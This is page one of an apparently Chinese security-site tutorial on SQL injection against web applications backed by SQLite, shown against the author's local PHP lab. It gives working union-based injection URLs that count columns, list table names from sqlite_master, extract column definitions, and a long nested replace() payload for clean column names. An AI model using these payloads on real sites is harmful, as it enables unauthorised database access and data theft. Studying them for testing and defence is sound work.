欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

基于SQLite数据库的Web应用程序注入指南

来源:本站整理 作者:佚名 时间:2017-02-24 TAG: 我要投稿

SQL注入又称hacking之母,是造成网络世界巨大损失而臭名昭著的漏洞之一,研究人员已经发布了许多关于不同SQL服务的不同攻击技巧相关文章。对于MSSQL,MySQL和ORACLE数据库来说,SQL注入的payload一抓一大把,你可以在web应用中利用SQL注入漏洞进行攻击,如果其中任何一种数据库被用来作为后端数据库。SQLite就比较不那么出名了,因此相关的SQL注入payload就比较少,如果你想攻击后端数据库为SQLite的,那你就得去学习SQLite相关功能,然后构造出你自己的payload。因此,本文中我们将探讨两种关于SQLite的SQL注入攻击技巧。
1、基于联合查询的SQL注入(数字型或字符型)
2、SQL盲注
实验环境
为了实现基于SQLite的SQL注入,我们需要以下环境:
1、web服务器(这里是apache)
2、PHP环境
3、使用SQLite数据库的存在漏洞的web应用,这里有一个我自己开发的应用
测试应用包里包含PHP代码和SQLite数据库(ica-lab.db).数据库共有两个表单:Info和Users
实施攻击
1、基于联合查询的SQL注入
基于联合查询的SQL注入并不难,SQL查询直接去数据库中获取表名以及列名。让我们来试试基于联合查询的SQL注入(数字型),注入点:
http://127.0.0.1/sqlite-lab/index.php?snumber=1
在尝试order by子句后,我们可以发现列数为5,Inject URL:

http://127.0.0.1/sqlite-lab/index.php?snumber=1 union select 1,2,3,4,5--

列2,3,4的数据在web页面上被打印出来了,因此我们需要利用这三个列的其中一个或多个。
获取表名
在SQLite中,为了猜解表名我们需要运行以下查询:

SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
在漏洞应用程序里,如果我们构造像以下这样的链接,web应用将会在2这个位置显示所有表名:

http://127.0.0.1/sqlite-lab/index.php?snumber=1337 union SELECT 1,group_concat(tbl_name),3,4,5 FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'

为了让表名单独显示,我们可以使用带offset的limit子句,就像这样:

http://127.0.0.1/sqlite-lab/index.php?snumber=1337 union SELECT 1,tbl_name,3,4,5 FROM sqlite_master where type='table' and tbl_name NOT like 'sqlite_%'' limit 2 offset 1
limit后面接的数字是为了获取行数,而offest后面接的数字则为第一次返回结果中的删除数。在上述查询中,limit提取了两个表名,然后哦第一个被offset删除掉,所以我们获得了第二个表名。类似的,为了获取第三个表名,只需要改变limit和offset为3跟2即可,即limit 3 offset 2.
获取列名
对于获取列名来说,同样有个简单的SQL查询来从指定表中获取列名。

union SELECT 1,sql,3,4,5 FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name='table_name'
只要把上述查询中的table_name替换为你想要获取列名的相应表的表名即可,在本例中,我想获取info表的列名:

http://127.0.0.1/sqlite-lab/index.php?snumber=1337 union SELECT 1,sql,3,4,5 FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='info'

获取“干净”列名的payload
用以下payload来替代'sql',其余的payload保持不变

replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'`')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~')
Inject URL:

http://127.0.0.1/sqlite-lab/index.php?snumber=1337 union select 1,replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'`')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~'),3,4,5 FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' and name='info'

[1] [2] [3] [4]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载